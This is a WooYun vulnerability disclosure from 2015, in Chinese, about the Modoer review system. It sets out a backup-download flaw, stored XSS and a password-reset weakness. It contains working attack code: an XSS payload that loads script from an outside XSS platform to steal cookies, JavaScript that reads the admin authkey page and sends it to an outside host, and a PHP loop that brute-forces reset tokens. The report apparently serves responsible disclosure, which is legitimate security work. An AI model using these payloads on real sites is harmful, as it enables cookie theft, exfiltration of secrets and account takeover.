当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0110272

漏洞标题:Modoer点评系统多个漏洞打包

相关厂商:modoer.com

漏洞作者: 牛肉包子

提交时间:2015-04-28 10:18

修复时间:2015-07-29 10:32

公开时间:2015-07-29 10:32

漏洞类型:设计缺陷/逻辑错误

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-04-28: 细节已通知厂商并且等待厂商处理中
2015-04-30: 厂商已经确认,细节仅向厂商公开
2015-05-03: 细节向第三方安全合作伙伴开放
2015-06-24: 细节向核心白帽子及相关领域专家公开
2015-07-04: 细节向普通白帽子公开
2015-07-14: 细节向实习白帽子公开
2015-07-29: 细节向公众公开

简要描述:

用户量也有10+w

详细说明:

0x01 数据库下载
在后台备份完数据库,数据库命名是时间加一串字符。这串字符的长度远大于9,所以在win+apache的环境下,可以造成数据库被下载。

1.png


2.png


3.png


0x02 存储型xss
首先注册一个用户,然后发布一个主题。在主题的详细介绍处,没有过滤<>。可以导致xss
我们输入如下payload

<video src=http://www.baidu.com/img/baidu_jgylogo3.gif onprogress=document.body.appendChild(document.createElement('scri\160\164')).src='http://lennyxss.sinaapp.com/sPGu9l?1426911446'>


然后访问

http://127.0.0.1/modoer_2.6_sc_utf8/item.php?act=detail&id=3


成功加载js

4.png


在xss平台可以收到cookie

5.png


0x03 找回任意用户密码
看到/core/modules/member/login.php

case 'forget':
if($user->isLogin) redirect('member_login_logined');
if(check_submit('dosubmit')) {
$user->forget(_T($_POST['username']), _T($_POST['email']));
redirect('member_forget_mail_succeed', url('member/login'));
} else {
require_once template('member_forget');
}
break;


然后跟进forget函数

//找回密码
function forget($username,$email) {
$this->loader->helper('validate');
if(!$username) redirect('member_post_empty_name');
if(!$email||!validate::is_email($email)) redirect('member_post_empty_email');
$this->db->from($this->table);
$this->db->where('username',$username);
$this->db->select('uid,email');
if((!$r = $this->db->get_one())|| $r['email'] != $email) redirect('member_forget_invalid');
$post = array();
$post['uid'] = $r['uid'];
$post['posttime'] = $this->global['timestamp'];
$post['secode'] = create_formhash($post['uid'], $post['posttime'],'');
$this->db->from('dbpre_getpassword');
$this->db->set($post);
$this->db->insert();
$getpwid = $this->db->insert_id();
$endday = 3; //有效期 天
$url = str_replace('&amp;','&',url("member/login/op/updatepw/id/$getpwid/sec/$post[secode]",'',TRUE));
$search = array('{sitename}','{siteurl}','{username}','{nowtime}','{endtime}','{forgeturl}','{endday}');
$replace = array($this->global['cfg']['sitename'], $this->global['cfg']['siteurl'], $username,
date('Y-m-d H:i:s',$this->global['timestamp']), date('Y-m-d H:i:s',($this->global['timestamp']+$endday*24*3600)),
$url, $endday);
$subject = str_replace($search, $replace, lang('member_forget_mail_subject'));
$message = str_replace($search, $replace, lang('member_forget_mail_message'));
$message = wordwrap($message, 75, "\r\n") . "\r\n";
$cfg =& $this->global['cfg'];
if($cfg['mail_use_stmp']) {
$cfg['mail_stmp_port'] = $cfg['mail_stmp_port'] > 0 ? $cfg['mail_stmp_port'] : 25;
$auth = ($cfg['mail_stmp_username'] && $cfg['mail_stmp_password']) ? TRUE : FALSE;
$this->loader->lib('mail',null,false);
$MAIL = new ms_mail($cfg['mail_stmp'], $cfg['mail_stmp_port'], $auth, $cfg['mail_stmp_username'], $cfg['mail_stmp_password']);
$MAIL->debug = $cfg['mail_debug'];
$result = @$MAIL->sendmail($email, $cfg['mail_stmp_email'], $subject, $message, 'TXT');
unset($MAIL);
} else {
$headers = "MIME-Version: 1.0" . "\r\n";
$headers .= "Content-type:text/plain;charset=" . _G('charset') . "\r\n";
$result = @mail($email, $subject, $message, $headers);
}
if(!$result) redirect('global_send_mail_error');
}


然后可以看到找回的secode是通过create_formhash($post['uid'], $post['posttime'],'')生成的。其中uid是用户的uid,然后posttime就是服务器的时间戳。然后再跟入create_formhash函数。

function create_formhash($p1, $p2, $p3, $start=8, $len=8) {
$authkey = _G('cfg','authkey');
echo ($authkey . $p1 . $p2 . $p3);
//exit;
return md5($authkey . $p1 . $p2 . $p3);
}


其中authkey在后台可以看到

http://127.0.0.1//modoer_2.6_sc_utf8/admin.php?module=modoer&act=setting&op=access


6.png


然后通过前面那个xss可以获取到这个authkey,代码如下

var request = false;
if(window.XMLHttpRequest) {
request = new XMLHttpRequest();
if(request.overrideMimeType) {
request.overrideMimeType('text/xml');
}
}
else if (window.ActiveXObject) {
var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
for(var i=0; i<versions.length; i++) {
try {
request = new ActiveXObject(versions);
} catch(e) {}
}
}
xmlhttp=request;
var url= "/modoer_2.6_sc_utf8/admin.php?module=modoer&act=setting&op=access";
xmlhttp.onreadystatechange=function(){
if (xmlhttp.readyState==4 && xmlhttp.status==200){
var img = new Image();
img.src = "http://km2.in/1.php?c="+escape(xmlhttp.responseText);
}
}
xmlhttp.open("GET",url,true);
xmlhttp.send();


拿key就好办了。

8.png


写个脚本就可以生成secode了。

<?php
for($i=1429931400;$i<1429931520;$i++){
echo '</br>';
echo md5('P7REW90UPQIE1'.$i);
echo '</br>';
}
?>


9.png


3da0f7665e1650afc20aa982450e56d7


10.png


然后就可以找回密码了。
其中updateid需要爆破一下

漏洞证明:

3.png


5.png


11.png

修复方案:

过滤<>,然后生成secode随机化

版权声明:转载请注明来源 牛肉包子@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:10

确认时间:2015-04-30 10:30

厂商回复:

问题缺席存在,非常感谢您的测试,对我们完善系统帮助很大。
另外你太看得起modoer了,安装量离10w这个目标还很远。

最新状态:

暂无


漏洞评价:

评论

  1. 2015-04-30 11:40 | 阿布 ( 路人 | Rank:16 漏洞数:5 )

    爷爷 你NB

  2. 2015-05-01 23:38 | Sword ( 路人 | Rank:16 漏洞数:11 | 求大牛带飞)

    膜拜大表哥